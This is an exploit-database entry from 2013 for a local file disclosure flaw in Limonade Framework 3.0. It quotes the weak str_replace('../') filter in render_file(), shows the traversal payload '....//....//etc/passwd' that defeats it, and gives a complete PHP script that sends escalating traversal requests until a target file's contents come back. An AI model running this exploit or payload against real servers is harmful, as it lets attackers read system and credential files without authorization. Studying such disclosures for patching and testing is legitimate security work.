Limonade Framework 3.0 Local File Disclosure



EKU-ID: 3647 CVE: OSVDB-ID:
Author: Yashar shahinzadeh Published: 2013-11-18 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


###################################################################################################################################
# Exploit Title: Limonade framework Local file disclosure filtering bypass
# Date: 2013 17 November
# Exploit Author: Yashar shahinzadeh
# Special thanks to Mormoroth
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir
# Vendor Homepage: http://limonade-php.github.io/‎
# Tested on: Linux (Ubuntu), PHP 5.3.10-1ubuntu3.8 with Suhosin-Patch
# Affected Version :  3.0 (Last)
#
# Contacts: {http://Twitter.com/YShahinzadeh, http://y-shahinzadeh.ir, http://Twitter.com/Mormoroth, http://mormoroth.ir}
###################################################################################################################################
 
1. Filtering bypass
===================
Limonade is a light framework suffering from Local file disclosure, following lines written at lib/limonade.php make the vulnerability:

File: lib/limonade.php
...
...

function render_file($filename, $return = false)
{
  # TODO implements X-SENDFILE headers
  // if($x-sendfile = option('x-sendfile'))
  // {
  //    // add a X-Sendfile header for apache and Lighttpd >= 1.5
  //    if($x-sendfile > X-SENDFILE) // add a X-LIGHTTPD-send-file header 
  //   
  // }
  // else
  // {
  //   
  // }
  $filename = str_replace('../', '', $filename);
  if(file_exists($filename))
  {
    $content_type = mime_type(file_extension($filename));
    $header = 'Content-type: '.$content_type;
    if(file_is_text($filename)) $header .= '; charset='.strtolower(option('encoding'));
    send_header($header);
    return file_read($filename, $return);
  }
  else halt(NOT_FOUND, "unknown filename $filename");
}

...
...

str_replace() function has been used in inefficient way which reasults in having LFD hole. Following piece of code can be used to demonstrade it:

<?php
require_once dirname(dirname(__FILE__)).'/lib/limonade.php';
 
function configure()
{
    option('env', ENV_DEVELOPMENT);
}
 
dispatch('/','index');
function index()
{
    set('page_title', "using content_for()");
}
   
dispatch_post('/file/:file','FileContents');
function FileContents()
{
    params($_POST);
    var_dump(render_file(params('file')));
}
 
run();
?>

What will happen if HTTP request below is sent:
....//....//....//....//etc/passwd
Apparently, immediate filtering system applies a replacement which produces:
../../../../etc/passwd

Here is the exploit:

<?php
/** To prevent of time out **/
set_time_limit(0);
 
/** Error reporting **/
error_reporting(0);
 
/** Necessary variables **/
$url = $argv[1];
$data = $argv[2];
$needle = $argv[3];
 
/** Curl function with appropriate adjustments **/
function CurlPost($url='localhost',$data=array())
{
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);
    curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,2);
    curl_setopt($ch,CURLOPT_HEADER,1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_TIMEOUT,50);
    curl_setopt($ch,CURLOPT_POST,true);
    curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
    return curl_exec($ch);
    curl_close($ch);
}
 
list($param,$file) = explode(':',$data);
 
$FilterBypassing = '....//';
for($i=0;$i<10;$i++)
{
    $DataToPost[$param] = $FilterBypassing.$file;
    $response = CurlPost($url,$DataToPost);
    if(strstr($response,$needle)!==FALSE)
    {
        echo $response;
        echo "\n\nExploited successfully!\n";
        echo 'Payload: ',$DataToPost[$param],"\n\n\n";
        die();
    }
     
    $FilterBypassing .= '....//';
}
?>

Illustration: http://blog.y-shahinzadeh.ir/posts-images/limonade/1.jpg

/** Yasshar shahinzadeh **/